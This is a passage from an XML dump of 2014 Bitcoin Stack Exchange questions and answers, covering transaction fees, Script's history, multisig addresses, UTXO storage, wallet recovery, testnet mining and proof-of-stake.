LastEditDate="2015-06-12T19:14:49.133" LastActivityDate="2015-06-12T20:38:34.833" Title="Does hardware specialization provide security against 51% attack via on-demand computing?" Tags="|majority-attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29762" PostTypeId="2" ParentId="29758" CreationDate="2014-07-29T16:16:02.123" Score="2" Body="&lt;p&gt;This depends on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;priority&lt;/a&gt; of a transaction. If an input (coins you received from an earlier transaction) was not used for a longer time, its coin-age (equal to confirmations) increases and therefore the priority. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the priority is equal or above middle-priority (thats what the bitcoin-core client and the blockchain.info side calls it) it does not require fees. So when you send your first bitcoins, those had a high enough priority to get shipped for free. Then you tried to send them back immediately, with a low priority, so you were forced to set a transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-07-29T16:16:02.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29763" PostTypeId="2" ParentId="29754" CreationDate="2014-07-29T17:26:18.040" Score="22" Body="&lt;p&gt;Script was in the first version of Bitcoin. Satoshi developed Bitcoin in private before releasing the fully-usable Bitcoin 0.1, and he said very little about his thought-process, so we'll probably never know exactly why many things were done the way they were.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script had several serious bugs when Bitcoin was first released, and some bugs still exist. It's clear that Satoshi didn't thoroughly test Script before releasing Bitcoin.  And while it contains a lot of complexity, it is still too incomplete for most opcodes to be of any real use. In light of this, it's often speculated that Script was something of an afterthought. Perhaps Satoshi's design originally sent bitcoins only directly to public keys, but when adding support for Bitcoin addresses and thinking about future transaction types, he realized that a scripting language would be useful for forward-compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A stack-based language is the natural choice here. Script processing is dead simple and very fast: just keep reading opcodes from the script and evaluating them until the script is complete. Each opcode is pretty much self-contained. It's also easy to analyze scripts due to the fact that everything to the right of a certain point in a script can be considered a function. You can know for sure that any scriptPubKey that starts with OP_RETURN will always fail validation, and that any script which ends with &lt;code&gt;&amp;lt;pubKey&amp;gt; OP_CHECKSIG&lt;/code&gt; will always require the signature of that public key, regardless of what the rest of the script contains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This functional aspect of Script was especially important when scripts were still evaluated by directly concatenating the scriptSig and scriptPubKey instead of evaluating them separately as is done today. In theory, you could put anything in the scriptPubKey and be sure that no matter what was in the scriptSig, your scriptPubKey would behave as a function taking an appropriate number of arguments from the stack. However, the opcode OP_RETURN originally just caused the script to end early instead of fail, so you could steal anyone's bitcoins by simply using the scriptSig &lt;code&gt;OP_TRUE OP_RETURN&lt;/code&gt;. It was also possible to put a pushdata opcode right at the end of a scriptSig to turn the entire scriptPubKey into a constant (which evaluates to true). Satoshi fixed these bugs by changing the behavior of OP_RETURN to cause the transaction to immediately fail and making it so that scriptSig and scriptPubKey are evaluated in two separate steps.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2014-07-30T18:57:22.857" LastActivityDate="2014-07-30T18:57:22.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29764" PostTypeId="2" ParentId="29759" CreationDate="2014-07-29T18:12:29.950" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;BitcoinLib&lt;/a&gt; is coin-agnostic, as long as you're dealing with a bitcoin-derived cruptocurrency. It is written in C# and has built-in support for bitcoin and litecoin. It comes with built-in support for on-the-fly coin configuration, with the use of the generic interface &lt;code&gt;ICryptocoinService&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample configurations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IBitcoinService BitcoinService = new BitcoinService();&#xA;&#xA;ILitecoinService LitecoinService = new LitecoinService();&#xA;&#xA;ICryptocoinService cryptocoinService = new CryptocoinService(&quot;daemonUrl&quot;, &quot;rpcUsername&quot;, &quot;rpcPassword&quot;, &quot;walletPassword&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Repo: &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;https://github.com/GeorgeKimionis/BitcoinLib&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-07-29T18:12:29.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29765" PostTypeId="1" CreationDate="2014-07-30T01:58:04.000" Score="1" ViewCount="826" Body="&lt;p&gt;In P2SH transactions, the address is the hash of the redeemScript. What is it for P2PKH transactions?&lt;/p&gt;&#xA;" OwnerUserId="18688" LastActivityDate="2014-07-30T04:21:34.927" Title="In P2PKH Multisig Transactions, what is the address?" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29766" PostTypeId="2" ParentId="29755" CreationDate="2014-07-30T03:10:48.403" Score="3" Body="&lt;p&gt;Here's a really good source on the difference between etherium and NXT [1] and here's more between mastercoin and etherium [2] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;http://prisonorfreedom.com/what-is-the-difference-between-ethereum-vs-bitcoin-vs-nxt/&quot; rel=&quot;nofollow&quot;&gt;http://prisonorfreedom.com/what-is-the-difference-between-ethereum-vs-bitcoin-vs-nxt/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2] &lt;a href=&quot;http://prisonorfreedom.com/what-is-the-difference-between-ethereum-vs-nxt-or-any-other-alt-coin/&quot; rel=&quot;nofollow&quot;&gt;http://prisonorfreedom.com/what-is-the-difference-between-ethereum-vs-nxt-or-any-other-alt-coin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5565" LastActivityDate="2014-07-30T03:10:48.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29767" PostTypeId="2" ParentId="29765" CreationDate="2014-07-30T03:51:45.243" Score="2" Body="&lt;p&gt;There are no &quot;addresses&quot; in protocol. There are only &quot;output scripts&quot;. The address is only human-readable representation of script which matches the &quot;output script&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output script for bare multisig transaction is [m] + [hash1] + [hash2] + ... + [hashN] + [n] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And all of these parts are significant. There is no &quot;classic&quot; representation of such address yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bc.i uses the form of &lt;strong&gt;(Escrow X of X1 X2 X3)&lt;/strong&gt; (where Xn is standard p2pkh address) but you may use your own.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2014-07-30T04:21:34.927" LastActivityDate="2014-07-30T04:21:34.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29768" PostTypeId="1" CreationDate="2014-07-30T03:52:24.833" Score="1" ViewCount="8376" Body="&lt;p&gt;Lot of information over this scattered over the internet, but can someone list complete list of currencies that can be mined by an AntMiner U2 apart from bitcoin, or any other SHA256-based miner? &lt;/p&gt;&#xA;" OwnerUserId="18795" LastEditorUserId="120" LastEditDate="2016-04-10T15:32:42.910" LastActivityDate="2016-04-10T15:32:42.910" Title="List of all currencies which can be mined by a SHA256-based ASIC miner" Tags="|asic|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29769" PostTypeId="2" ParentId="29768" CreationDate="2014-07-30T04:29:40.840" Score="2" Body="&lt;p&gt;You should try to touch this&lt;br /&gt;&#xA;&lt;a href=&quot;https://coinmarketcap.com/currencies/views/all/&quot; rel=&quot;nofollow&quot;&gt;https://coinmarketcap.com/currencies/views/all/&lt;/a&gt;&lt;br /&gt;&#xA;Need to filter out those which aren't sha256d though.&lt;/p&gt;&#xA;" OwnerUserId="18796" LastActivityDate="2014-07-30T04:29:40.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29770" PostTypeId="2" ParentId="7579" CreationDate="2014-07-30T04:33:52.187" Score="1" Body="&lt;p&gt;According to mining.bitcoin.cz, getwork protocol is removed. Use the stratum protocol instead. stratum.bitcoin.cz:3333&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;08.07.2013&lt;br /&gt;&#xA;  Getwork protocol support ended. Please be sure your miners support Stratum protocol. You can still use your old getwork miners with Stratum proxy installed on your mining rig.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18796" LastActivityDate="2014-07-30T04:33:52.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29772" PostTypeId="1" CreationDate="2014-07-30T05:47:06.317" Score="0" ViewCount="242" Body="&lt;p&gt;just what i said. Multibit simply isn't accepting the password i used this morning to unlock it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have tried retyping it about a million times in a million different way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does any one have any insight on this? it there a way to import the wallet into a different program and de-crypt it there?&lt;/p&gt;&#xA;" OwnerUserId="18798" LastActivityDate="2014-12-03T18:35:26.103" Title="Multibit is not accepting the correct password any idea or possible bugs that i could fix" Tags="|multibit|passphrase|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29773" PostTypeId="1" AcceptedAnswerId="29777" CreationDate="2014-07-30T07:54:35.157" Score="1" ViewCount="95" Body="&lt;p&gt;Is it possible to create a transaction with 2txin and 2txout? If it is possible, then how does one sign this transaction?    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I have to create two separate transactions? 1txin 1txout and 1txin 2txout?&lt;/p&gt;&#xA;" OwnerUserId="18799" LastEditorUserId="5406" LastEditDate="2014-08-02T15:48:08.387" LastActivityDate="2014-08-02T15:48:08.387" Title="Is it possible to create a transaction with 2txin and 2txout?" Tags="|transactions|signature|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29774" PostTypeId="1" AcceptedAnswerId="29831" CreationDate="2014-07-30T11:39:43.140" Score="3" ViewCount="568" Body="&lt;p&gt;In other words, if one user is trying to find a block using staked coins and another using PoW, which one will find it and why? Will there be a fork in the blockchain in this scenario? If yes, then how does the network decide which chain to accept? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a fairly good understanding of proof-of-work, and am trying to understand proof-of-stake correctly as well.&lt;/p&gt;&#xA;" OwnerUserId="18800" LastEditorUserId="18800" LastEditDate="2014-08-01T05:21:20.553" LastActivityDate="2014-08-01T12:36:06.570" Title="Peercoin proof-of-stake: When a person with large computing power and a person with a large stake both compete to generate a new block who wins?" Tags="|proof-of-stake|peercoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29775" PostTypeId="2" ParentId="29772" CreationDate="2014-07-30T11:49:07.083" Score="2" Body="&lt;p&gt;That is certainly weird and it's most likely that you simply are typing a different password. To test this hypothesis, install MultiBit on another computer and import your wallet to see if it works. Perhaps your local MultiBit instance is corrupted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to try different versions of the client, although the wallet encryption algorithm hasn't changed. From the source code it seems to be using the &lt;a href=&quot;https://www.bouncycastle.org/java.html&quot; rel=&quot;nofollow&quot;&gt;Bouncy Castle Crypto APIs for Java&lt;/a&gt;: &lt;a href=&quot;https://github.com/jim618/multibit/blob/master/src/main/java/org/multibit/crypto/KeyCrypterOpenSSL.java&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jim618/multibit/blob/master/src/main/java/org/multibit/crypto/KeyCrypterOpenSSL.java&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps what you could also try is download that Bouncy Castle library and try decrypting your wallet directly using the raw library.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-07-30T11:49:07.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29777" PostTypeId="2" ParentId="29773" CreationDate="2014-07-30T12:46:31.860" Score="3" Body="&lt;p&gt;You can definitely do that. Generally speaking you can have any combination of n inputs and k outputs, both n and k being integers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming you want to know how to implement the signing process. The process to sign such a transaction is rather involved. You basically set the signatures on all inputs to an empty string and then iterate through the inputs, copying the transaction with empty signatures, inserting the script of the corresponding output in the signature's place and signing the resulting temporary transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the exact details see this very extensive explanation &lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on the other hand you're using the Bitcon Core JSON RPC then it's a simple matter of calling &lt;code&gt;signrawtransaction&lt;/code&gt; (&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt;) and passing in a raw, i.e., unsigned transaction. Be careful though as there are no checks when signing this way and the resulting transaction does exactly what you told it to, e.g., it might claim 10 bitcoins and allocate only 1 on the outputs, leaving 9 bitcoins floating for transaction fees and you'll lose them.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2014-08-02T15:26:35.590" LastActivityDate="2014-08-02T15:26:35.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29778" PostTypeId="2" ParentId="29755" CreationDate="2014-07-30T14:04:42.477" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nf959.jpg&quot; alt=&quot;http://i.imgur.com/0RNywMP.jpg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here you go :) it is not finished yet......&lt;/p&gt;&#xA;" OwnerUserId="18803" LastActivityDate="2014-07-30T14:04:42.477" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29779" PostTypeId="2" ParentId="18038" CreationDate="2014-07-30T15:11:04.937" Score="0" Body="&lt;p&gt;I use Bitcoin Checker in my phone, it has a plethora of exchanges but it doesn't have Bitcoincharts, most probably because Bitcoincharts doesn't seem to be a Bitcoin exchange, thus being irrelevant for the use of a price alert app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this open source app you can track Bitcoin price in different exchanges and set the alert to a % of variation from the last price, I think it is a great app.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-07-30T15:11:04.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29780" PostTypeId="1" AcceptedAnswerId="29782" CreationDate="2014-07-30T16:10:05.423" Score="15" ViewCount="2826" Body="&lt;p&gt;From what I can tell, the Ethereum blockchain just stores accounts and balances - why did the original Bitcoin developers choose the method of storing all transactions for validation instead of just account balances? It seems like that would reduce blockchain size on disk quite a bit... &lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="5406" LastEditDate="2021-02-01T19:14:27.813" LastActivityDate="2021-02-01T19:14:27.813" Title="Why does Bitcoin store all transaction inputs and outputs, instead of just an &quot;account/balance&quot; ledger?" Tags="|blockchain|utxo|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29781" PostTypeId="2" ParentId="29780" CreationDate="2014-07-30T17:03:39.217" Score="6" Body="&lt;p&gt;Exactly the same question was asked to a Bitcoin developer (Peter Todd) during the Bitcoin 2013 Conference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can watch his answer &lt;a href=&quot;https://youtu.be/yyrOgSN7i-U?t=19m26s&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those who are too lazy to watch the video the short answer is that they are doing it for security reasons.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="6969" LastEditDate="2018-03-09T09:02:22.583" LastActivityDate="2018-03-09T09:02:22.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29782" PostTypeId="2" ParentId="29780" CreationDate="2014-07-30T17:23:17.663" Score="15" Body="&lt;p&gt;In order to be sure that an address balance is correct, you need to check that all the transactions on that address are valid.  So in order to generate a list of addresses and balances that you trust, you must first download and verify the entire block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, the way Bitcoin works, what you actually need is a list of &lt;em&gt;unspent transaction outputs&lt;/em&gt; (UTXOs).  When you create a new transaction to spend coins, you don't just debit an address; you have to reference one or more specific outputs from previous transactions that you are spending.  Those previous outputs then become unusable, so that you can't spend them again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core does actually generate an indexed database of all UTXOs, and refers to it when checking transactions for validity (since this is much faster than searching back through the block chain directly).  This is the closest analogy to the &quot;ledger&quot; you proposed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done this, you could delete the block chain itself and just keep the UTXO database; that is basically what the &lt;code&gt;-prune&lt;/code&gt; option does (see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37496/how-can-i-run-bitcoind-in-pruning-mode&quot;&gt;How can I run bitcoind in pruning mode?&lt;/a&gt;).  However, remember that Bitcoin is a peer-to-peer system.  So you keep the block chain so that new users can download it from you.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2017-09-05T14:11:53.403" LastActivityDate="2017-09-05T14:11:53.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29783" PostTypeId="1" CreationDate="2014-07-30T19:30:39.080" Score="1" ViewCount="617" Body="&lt;p&gt;What is the best O/S for bitcoind, which serves as a backbone for an online payments processor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now it is set up to run under Windows but I'm not sure if this is the best choice if they underlying service will need to process more transactions per minute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not familiar with Linux but wouldn't mind migrating bitcoind there if there are obvious advantages towards using it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relative questions (but for mining only):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=6023.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=6023.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=13491.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=13491.0&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/i8duo/bitcoin_mining_linux_vs_windows_thoughts/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/i8duo/bitcoin_mining_linux_vs_windows_thoughts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts please.&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-07-31T15:29:15.943" Title="Windows vs Linux for bitcoind (not mining)" Tags="|bitcoind|linux|windows|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29784" PostTypeId="1" AcceptedAnswerId="29790" CreationDate="2014-07-30T22:42:36.673" Score="4" ViewCount="266" Body="&lt;p&gt;How does NXT prevent blockchain bloat since it has a built in message system and other features? Wouldn't the NXT blockchain grow to be really big in the future and pose a problem for people storing the blockchain as compared to other coins?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-31T07:26:30.663" Title="How does NXT prevent blockchain bloat since it does so many different things with its blockchain?" Tags="|blockchain|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29785" PostTypeId="1" CreationDate="2014-07-30T23:59:46.310" Score="1" ViewCount="913" Body="&lt;p&gt;How do I use my &lt;code&gt;wallet.dat&lt;/code&gt; on my windows 8 bitcoin qt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone posted this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;C:\Documents and Settings\YourUserName\Application data\Bitcoin (XP)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;C:\Users\YourUserName\Appdata\Roaming\Bitcoin (Vista and 7)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I'm on windows 8, so i don't know what to do&lt;/p&gt;&#xA;" OwnerUserId="18808" LastEditorUserId="17113" LastEditDate="2014-07-31T11:31:18.630" LastActivityDate="2014-12-28T13:52:51.200" Title="Restore wallet.dat on windows 8" Tags="|wallet|bitcoind|backup|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29786" PostTypeId="1" CreationDate="2014-07-31T00:53:36.873" Score="6" ViewCount="1119" Body="&lt;p&gt;I'm looking to make a faucet website, but was wondering what is the maximum number of output addresses one can send to with one bitcoin transaction?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5292" LastEditDate="2014-07-31T11:31:31.553" LastActivityDate="2014-07-31T11:31:31.553" Title="What is the maximum number of output addresses I can send to with one bitcoin transaction?" Tags="|transactions|website-integration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29787" PostTypeId="2" ParentId="29786" CreationDate="2014-07-31T02:59:45.683" Score="0" Body="&lt;p&gt;You add to size of the transaction as you add more addresses, and eventually increase transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't add a minimum transaction fee, and your coins do not have enough confirmations then your transactions would be delayed for a day or more.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2014-07-31T02:59:45.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29788" PostTypeId="2" ParentId="29786" CreationDate="2014-07-31T03:22:02.733" Score="5" Body="&lt;p&gt;Today the modern Bitcoin-qt client does not relay transactions with more than 200 outputs. But this is not protocol restriction. You can create transactions up to 100k size, which gives you 2500-3000 outputs (try to count the exact number yourself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, tx &lt;a href=&quot;https://blockchain.info/tx/0313e6552a5337de92c475c0dbbb0e351a1525b0f202beb9d4c75b3a5b114bf3&quot;&gt;https://blockchain.info/tx/0313e6552a5337de92c475c0dbbb0e351a1525b0f202beb9d4c75b3a5b114bf3&lt;/a&gt; has 2501 outputs and was successfuly mined 3 days ago&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-07-31T03:22:02.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29789" PostTypeId="2" ParentId="29785" CreationDate="2014-07-31T06:37:12.597" Score="1" Body="&lt;p&gt;Windows 8 is just like Windows 7. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on a mondern bitcoin-core installation you will be asked where to put your data-directory. So if you changed the default path you need to consider that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you found your data directory, your wallet.dat file is right there. Make a backup or restore it as you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a good tutorial &lt;a href=&quot;https://www.youtube.com/watch?v=k9gQmmC5mzY&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt; around for more visual explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more detailed explanation on what steps are required to restoring your wallet.dat you can check out &lt;a href=&quot;https://bitcoin.stackexchange.com/a/10975/17113&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-07-31T06:37:12.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29790" PostTypeId="2" ParentId="29784" CreationDate="2014-07-31T07:26:30.663" Score="5" Body="&lt;p&gt;A special feature called Blockchain Shrinking is supposed to solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every year (or month) a new genesis block (&quot;rolling genesis block&quot;) will be generated by every node. This block will contain only actual information (for example, only one depositing transaction instead of hundreds of them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain Shrinking requires other features to be implemented too - Service Providers and Distributed Storage. These features are necessary because new nodes may need to make sure that a particular rolling genesis block is legitimate. This will be done by downloading and analysing all (or some) blockchains that existed before the most recent shrinking. Please, note that such blockchains will be stored only by some nodes that decided to do so (they will get extra payments for providing this service). There is still a possibility that none of the nodes will store the old information, in this case Nxt couldn't be called &quot;100% trustless&quot;.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-07-31T07:26:30.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29791" PostTypeId="1" AcceptedAnswerId="29816" CreationDate="2014-07-31T08:36:21.850" Score="3" ViewCount="4092" Body="&lt;p&gt;I'm trying to do cpu mining on testnet to debug coinbase transactions in my application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried running GUI miner, I get the below output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-07-31 11:31:51: Running command: poclbm.exe testnetuser:test123456@localhost:18332 --device=0 --platform=0 --verbose -r1&#xA;2014-07-31 11:31:51: Listener for &quot;Default&quot; started&#xA;2014-07-31 11:31:53: Listener for &quot;Default&quot;: No PyOpenCL&#xA;2014-07-31 11:31:53: Listener for &quot;Default&quot;: Not using OpenCL&#xA;2014-07-31 11:31:53: Listener for &quot;Default&quot;: Nothing to mine on, exiting&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried UFASoft miner, set the listening port to 18332 but nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the easiest way to do cpu mining on testnet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way of getting coinbase transactions in my testnet wallet?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="5406" LastEditDate="2016-04-25T18:38:17.460" LastActivityDate="2024-03-01T04:45:10.867" Title="How can I do CPU mining on testnet?" Tags="|miner-configuration|testnet|cpu-mining|regtest|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29792" PostTypeId="1" CreationDate="2014-07-31T10:35:32.733" Score="4" ViewCount="1823" Body="&lt;p&gt;Can anyone provide a clear example on how to calculate a previous transaction hash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I want to create a new transaction, I get that the hash is calculated by doubling &lt;code&gt;sha256&lt;/code&gt; a message &lt;strong&gt;m&lt;/strong&gt;, but I'm having a hard time understanding the structure of &lt;strong&gt;m&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18812" LastEditorUserId="5406" LastEditDate="2015-07-16T22:00:23.867" LastActivityDate="2015-07-16T22:00:23.867" Title="How is the previous transaction hash calculated?" Tags="|transactions|client|spending|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29793" PostTypeId="1" CreationDate="2014-07-31T10:50:52.870" Score="1" ViewCount="64" Body="&lt;p&gt;How does staking more PPC increase one's chances of finding a valid PoS block?&lt;/p&gt;&#xA;" OwnerUserId="18800" LastActivityDate="2014-07-31T10:50:52.870" Title="What role does stake play in finding a PoS block specifically?" Tags="|proof-of-stake|peercoin|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T21:05:16.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="29794" PostTypeId="1" CreationDate="2014-07-31T10:56:19.590" Score="2" ViewCount="84" Body="&lt;p&gt;Is the algorithm the same as it is in the case of proof-of-work?&lt;/p&gt;&#xA;" OwnerUserId="18800" LastActivityDate="2014-07-31T10:56:19.590" Title="How does a Peercoin node announce a new block found by proof-of-stake?" Tags="|proof-of-stake|peercoin|" AnswerCount="0" CommentCount="1" ClosedDate="2019-07-17T21:04:50.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="29795" PostTypeId="1" CreationDate="2014-07-31T11:06:10.520" Score="2" ViewCount="107" Body="&lt;p&gt;Is the method for verifying a new block found by proof-of-stake minting the same as if it were found by proof-of-work mining?&lt;/p&gt;&#xA;" OwnerUserId="18800" LastActivityDate="2014-07-31T11:06:10.520" Title="How do the Peercoin nodes verify a new block found by proof-of-stake?" Tags="|proof-of-stake|peercoin|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T21:04:44.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="29796" PostTypeId="1" CreationDate="2014-07-31T11:28:22.193" Score="0" ViewCount="1553" Body="&lt;p&gt;I'm trying to understand the proof-of-work idea for verifying a transaction. I think I understand &lt;strong&gt;why&lt;/strong&gt; proof of work is needed to verify transactions (essentially to prevent spoofing/double spending etc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my understanding is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the proof of work for verifying a transaction is the same as for mining a new bitcoin&lt;/li&gt;&#xA;&lt;li&gt;if this is the case, then it becomes harder and harder to verify transactions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm pretty certain the first statement is false, in which case I'd like to know what exactly is the proof-of-work for verifying a transaction.&lt;/p&gt;&#xA;" OwnerUserId="18813" LastActivityDate="2014-07-31T15:01:03.933" Title="Difference (if any) between proof-of-work in mining bitcoin vs verifying transaction" 